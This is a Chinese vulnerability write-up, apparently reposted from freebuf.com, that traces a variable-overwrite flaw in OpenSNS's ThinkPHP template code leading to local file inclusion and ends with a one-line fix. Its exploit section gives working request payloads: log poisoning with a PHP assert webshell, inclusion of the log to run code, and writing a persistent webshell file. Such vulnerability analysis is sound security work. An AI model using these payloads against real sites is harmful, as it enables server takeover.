-
0x01 简介
OpenSNS是想天科技开发的一款综合性社交软件。您可以使用OpenSNS快速搭建一个类似于新浪微博一样的功能强大的社交网站。您的社交网站也可以在微信中被访问,还支持苹果和安卓手机通过APP的形式使用。除此之外,OpenSNS还提供云市场进行功能扩展,大量的扩展让你的网站如虎添翼。
-
0x02 代码分析
跟踪到/Application/Home/Controller/IndexController.class.php中的search方法。
84 Line : 获取从POST传入的keywords参数值并赋给$keywords
94 Line:将$keywords设置为模版变量
96 Line:调用基类中的display方法将模版输出到页面
跟踪到/ThinkPHP/ThinkPHP/Library/Think/View.class.php中的assign方法
39~41 Line:判断参数$name是否是数组,如果是那么就将$name合并到当前类中的tVar属性中
跟踪到/ThinkPHP/ThinkPHP/Library/Think/View.class.php中的display方法
76 Line:将参数$templateFile、$content、$prefix传入当前类中的fetch方法中
跟踪到/ThinkPHP/Library/Think/View.class.php中的fetch方法
129 Line:将$this->tVar、$templateFile、$content、$prefix组合为数组并赋给$params
130 Line:调用Hook静态类中的listen方法并将view_parse(/ThinkPHP/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php)及$params传入其中
跟踪到/ThinkPHP/ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php中的run方法
跟踪到/ThinkPHP/ThinkPHP/Library/Think/Template.class.php中的fetch方法
77 Line:调用Storage\Driver\File中的load方法并将$templateCacheFile、$this->tVar传入其中
跟踪到/ThinkPHP/ThinkPHP/Library/Think/Storage/Driver/File.class.php中的load方法
85 Line判断$vars不为null的时候那么就将$vars这个数组中的参数初始化为变量,从而产生了变量覆盖导致本地文件包含
-
0x03 调试
包含站点根目录下任意一个创建文件
Url:http://localhost:86/index.php?s=/home/index/search.html
POST:keywords[_filename]=./1.txt
将1.txt中的内容替换为<?php phpinfo();?>
-
0x04 漏洞利用
该程序默认开启了日志记录,日志路径为/Runtime/Logs/模块/年_月_日.log(/Runtime/Logs/Home/20_08_25.log)
访问:http://localhost:86/index.php?s=/ucenter/member/mi.html
在邮箱中输入<?php assert(@$_REQUEST[b])?>.com
这样就在./Runtime/Logs/Ucenter/20_08_25.log中生成了日志
访问:http://localhost:86/index.php?s=/home/index/search.html&b=phpinfo();
POST:keywords[_filename]=./Runtime/Logs/Ucenter/20_08_25.log
Url:http://localhost:86/index.php?s=/home/index/search.html&b=file_put_contents(“1.php”,”<?php assert(@\$_REQUEST[‘ceshi’]);?>”);
POST:keywords[_filename]=./Runtime/Logs/Ucenter/20_08_25.log
-
0x05 漏洞修复
将94行改为$this->assign(“keywords”,$keywords);
来源:freebuf.com 2020-08-26 17:22:35 by: 黑豹cyd0
请登录后发表评论
注册